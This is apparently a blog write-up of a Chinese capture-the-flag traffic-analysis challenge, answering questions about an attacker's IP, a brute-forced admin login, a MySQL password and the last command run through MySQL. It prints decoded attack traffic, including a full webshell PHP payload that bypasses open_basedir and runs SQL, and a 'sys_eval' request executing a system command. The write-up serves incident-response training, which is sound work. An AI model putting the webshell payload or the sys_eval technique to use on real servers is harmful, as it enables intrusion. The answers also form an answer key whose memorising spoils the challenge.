20250607_信安一把梭_oa

Tags:流量分析, 应急响应, 数据分析, Webshell, 信安一把梭

0x00. 题目

请通过分析流量包找到以下信息:

  1. 请通过分析流量包找到hacker的IP地址(签到题)

  2. hacker对目标系统进行用户爆破,成功登陆后台的帐号密码是什么?(格式: 用户名/密码 如test/123456)

  3. mysql数据库密码是什么?(格式:密码如 123456)

  4. hacker通过mysql执行的最后一个系统命令是什么?(格式: 命令如 calc)


附件路径:https://pan.baidu.com/s/1GyH7kitkMYywGC9YJeQLJA?pwd=Zmxh#list/path=/CTF附件

附件名称:202500607_信安一把梭_oa.zip

0x01. WP

1. 请通过分析流量包找到hacker的IP地址(签到题)

筛选POST请求,发现大量爆破痕,IP为12.168.209.1

image

2. hacker对目标系统进行用户爆破,成功登陆后台的帐号密码是什么?(格式: 用户名/密码 如test/123456)

http.response_for.uri == "http://192.168.209.145:8080/logincheck.php"

过滤爆破请求的响应包,找到长度不同的响应包

image

image

其中不同请求的响应包存在明显差异

image

追踪请求包得到username/passwprd为admin/c3lzYWRtaW5AMTIz

image

3. mysql数据库密码是什么?(格式:密码如 123456)

浏览攻击请求的响应包,找到数据库配置文件

PASSWORD=3`U6_qd^C8r^#C%#Xk0!\r\n

image

4. hacker通过mysql执行的最后一个系统命令是什么?(格式: 命令如 calc)

逐个分析请求包,找到系统命令执行请求,执行的命令为tasklist

image

i53b4c778f261b=vidXRmOA==
=> utf8
&i6be60c94c3b97=ZBc2VsZWN0IHN5c19ldmFsKCd0YXNrbGlzdCcp
=> select sys_eval('tasklist')
&oe9168eec3469=UPcm9vdA==
=> root

&pass=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.0f4b336563d6";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "573d42"."efbeee";echo @asenc($output);echo "49db1"."a7da3";}ob_start();try{$m=get_magic_quotes_gpc();$hst=base64_decode(substr($m?stripslashes($_POST["s03b662056a36"]):$_POST["s03b662056a36"],2));$usr=base64_decode(substr($m?stripslashes($_POST["oe9168eec3469"]):$_POST["oe9168eec3469"],2));$pwd=base64_decode(substr($m?stripslashes($_POST["t9a83dda4d2c81"]):$_POST["t9a83dda4d2c81"],2));$dbn=base64_decode(substr($m?stripslashes($_POST["s2ced16eac37d9"]):$_POST["s2ced16eac37d9"],2));$sql=base64_decode(substr($m?stripslashes($_POST["i6be60c94c3b97"]):$_POST["i6be60c94c3b97"],2));$T=@mysql_connect($hst,$usr,$pwd);@mysql_query("SET NAMES ".base64_decode(substr($m?stripslashes($_POST["i53b4c778f261b"]):$_POST["i53b4c778f261b"],2)));@mysql_select_db($dbn, $T);$q=@mysql_query($sql);if(is_bool($q)){echo("Status\t|\t\r\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\t|\t\r\n");}else{$i=0;while($col=@mysql_fetch_field($q)){echo($col->name."\t|\t");$i++;}echo("\r\n");while($rs=@mysql_fetch_row($q)){for($c=0;$c<$i;$c++){echo(base64_encode(trim($rs[$c])));echo("\t|\t");}echo("\r\n");}}@mysql_close($T);;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

&s03b662056a36=UuMTI3LjAuMC4xOjMzMzY=
=> 127.0.0.1:3336
&s2ced16eac37d9=F1VERfT0E=
=> TD_OA
&t9a83dda4d2c81=VCM2BVNl9xZF5DOHJeI0MlI1hrMCE=
=> 3`U6_qd^C8r^#C%#Xk0!
posted @ 2025-09-22 16:00  JasonJHu  阅读(15)  评论(0)    收藏  举报